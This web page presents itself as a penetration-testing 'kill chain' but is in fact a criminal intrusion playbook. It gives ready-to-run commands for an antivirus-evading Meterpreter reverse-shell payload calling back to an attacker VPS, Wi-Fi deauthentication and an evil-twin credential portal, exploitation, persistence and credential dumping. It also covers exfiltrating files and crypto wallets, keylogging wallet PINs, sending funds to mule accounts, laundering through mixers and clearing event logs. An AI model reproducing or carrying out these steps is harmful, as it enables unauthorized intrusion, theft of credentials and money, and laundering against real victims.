Kill Chain Methodology | Penetration Testing Framework

1 Phase 1: Infrastructure (The "Ghost" Setup)

Step 1: Spin Up Your VPS

Create a Linux server on BitLaunch. Note down your [VPS_IP] - you'll need this for everything.

Step 2: Hide Your Identity

On Parrot OS, run this command to route all traffic through the dark web:

sudo anonsurf start

Step 3: Create an Obfuscated Payload

This command creates a specially encoded virus that bypasses basic antivirus:


              msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[VPS_IP]
              LPORT=443 -e x64/zutto_dekiru -i 10 -f exe > shell.exe

Why encode? Raw payloads are caught by Windows Defender instantly. Encoders give the payload a "shape" the antivirus doesn't recognize yet.

Step 4: Set Up Your Listener

In msfconsole, type these commands:

use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST [VPS_IP] set LPORT 443 exploit -j

2 Phase 2: The Wardrive (ESP32 Marauder DBv2)

Scan for Networks

On your ESP32 Marauder device:

→ Go to WiFi

→ Select Sniffers

→ Choose Scan APs/Stations

Select Target Networks

Mark the networks you want to target:

→ Go to General

→ Select Select APs

→ Mark targets with *

Capture Handshake

Capture the password handshake:

→ Go to Sniffers

→ Select EAPOL/PMKID Scan

→ Send a brief Deauth Flood

→ Wait for "Captured" confirmation

Clone the Network (Evil Twin)

Create a fake access point to steal credentials:

→ Go to WiFi

→ Select Evil Portal

→ Choose Access Point

3 Phase 3: Exploitation (Precision Targeting)

Step 1: Scan the Target Network

First, find all devices on the network:

nmap -sV -O -F [Subnet]/24

Example: nmap -sV -O -F 192.168.1.0/24

Then scan a specific target:

nmap -A -Pn [Target_IP]

Step 2: Find and Use Exploits

Search for vulnerabilities:

search [vulnerability_name]

Select an exploit:

use [exploit_path]

Step 3: Configure the Exploit

Set up the attack parameters:

set payload windows/x64/meterpreter/reverse_https set RHOSTS [Target_IP] set LHOST [VPS_IP] set LPORT 443

Step 4: LAUNCH!

exploit

If successful, you'll see Meterpreter session opened!

4 Phase 4: Post-Exploitation & Lateral Movement

Hide from Antivirus

Immediately after getting access, move your code into a legitimate Windows process:

run post/windows/manage/migrate

Why migrate? If the user closes the program you exploited, your connection dies. Migrating to explorer.exe keeps you alive as long as the user is logged in.

Get Administrator Access

Try to escalate your privileges to SYSTEM level:

getsystem

Stop the Computer from Sleeping

This is the most common beginner mistake! Disable sleep mode:

shell powercfg /x -hibernate-timeout-ac 0

CRITICAL: If the target laptop lid closes or goes to sleep, your VPS loses connection before you even get home. This command prevents that.

Create Persistence

So you can reconnect even after reboot:

run persistence -U -i 5 -p 443 -r [VPS_IP]

Steal Passwords

Dump all saved passwords:

load kiwi creds_all

Move Through the Network

Add a route to access other computers:

run autoroute -s [Subnet]

Then use these to hack other machines:

use auxiliary/scanner/smb/smb_login use exploit/windows/smb/psexec

5 Phase 5: Exfiltration & Financial Move

Find Valuable Data

Search for sensitive files:

search -f *.pdf search -f *wallet*

Compress & Encrypt (Windows)

Use PowerShell to zip everything up:

shell

powershell Compress-Archive -Path C:\Data\* -DestinationPath
              C:\Windows\Temp\data.zip

Compress & Encrypt (Linux)

shell

tar -czf - /data | openssl enc -aes-256-cbc -e >
              /tmp/data.tar.gz.enc

Download to Your VPS

download [path] [local_path]

Example: download C:\Windows\Temp\data.zip /root/loot/

Crypto Transfer

Capture wallet keys and pins:

keyscan_start

Then move funds to your mule account.

The Wash

Hide the money trail:

→ Route through crypto mixers

→ Move to intermediary wallets

→ Final transfer to Cold Wallet

6 Phase 6: Cleanup (The Vanishing)

Delete Your Tools

Remove all traces from the target:

rm shell.exe del data.zip

Clear Event Logs

clearev

This removes Windows Event Viewer logs

Exit Gracefully

exit

Power down your ESP32 Marauder device and leave.